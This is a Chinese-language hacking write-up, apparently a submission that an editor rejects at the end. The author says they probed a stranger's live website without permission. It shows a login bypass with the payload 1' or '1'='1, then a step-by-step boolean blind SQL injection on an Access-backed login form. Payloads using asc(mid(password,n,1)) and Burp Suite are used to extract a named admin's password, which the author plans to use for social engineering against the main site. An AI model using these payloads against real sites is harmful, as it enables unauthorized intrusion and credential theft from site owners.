一日路过一站,顺手检测,主站无果,在二级目录发现还有一个小站,是很老的ASP站,管理登陆界面就在主站上, 顺手丢一个万能密码,居然进去了, 点后面的管理登陆,直接进了后台。 转半天也没发现能拿WEBSHELL的地方,管理员这里居然只有一个删除功能。 因为需要搞出管理的密码做社工主站用,所以只好注入,这样的站根本就没一点防注入功能,随便找一个注入点跑,结果死活跑不出表名。没表名怎么跑管理员密码呢?又不知道数据库位置,后台又没什么用,这个二级站基本上就废了。 正准备放弃的时候,突然灵机一动,那个管理员的登录框能不能利用下呢? 于是开始研究这个登录框,这个登陆框写的比较奇怪,只要密码正确,就能登陆进去,管理员不管写什么都没关系,管理写1,密码写 1’ or ‘1’=’1,就能登录。大概猜想下,程序的验证登陆的SQL语句效果可能类似于下面的语句: Select * from [未知管理表] where password=’注入点’ 注入的地方我们是可以随便写的,也就是说我们是可以控制这条SQL 语句的,大概构造下 Where password= ‘[‘ or 1=1 and ‘1’=’1]’ []里是我构造的语句。注入的时候是没有[]的。用’ or 1=1 闭合前面 的逗号,让前面为真,控制后面的语句让程序做判断。 测试 Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and ‘1’=’1]’ ,判断正确,成功登入 Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and ‘1’=’2]’判断错误,提示密码错误。 我们来修改语句 Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and password=’2]’ 返回 password改成pass Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and pass=’2]’ 返回 直接出错了没报出具体错误,但是这样可以确定password字段是存在的。 用同样的方式确定了username也是存在的。 接下来跑密码长度,因为有两个用户,所以语句也得改改 Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and username = ‘jsjjc’ and len(password)>’1]’ 这样来跑长度,长度大于4的时候出错,说明长度是4位的。 接下来跑密码第一位 Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and username = ‘jsjjc’ and asc(mid(password,1,1))>’1]’ 把第一位转成ASC码。我们用BURIPSUTE来帮我们。 做一个数字1到200的字典就差不多了,跑到正确的ASC码,返回302 ,错误的是200 第一位密码的ASC码是106,转换成字符就是小写的j 跑第二个字符的ASC码: Select * from [未知管理表] Wherepassword= ‘[‘ or 1=1 and username = ‘jsjjc’ and asc(mid(password,2,1))>’1]’ 这样依次跑下去,就把jsjjc的密码给跑出来了。 这样在ACCESS数据库不知道管理表名的情况下,巧妙的注出来了管理密码。 通常我们遇到的登陆框,密码验证都是有MD5加密的,密码框一般不能注入,本次这种情况还是比较少见的。 雕虫小技,老鸟飞过~ =========================================== 文章基础知识较好,不过内容过于基础化,注入语句也并未发现亮点,故不予 通过。
|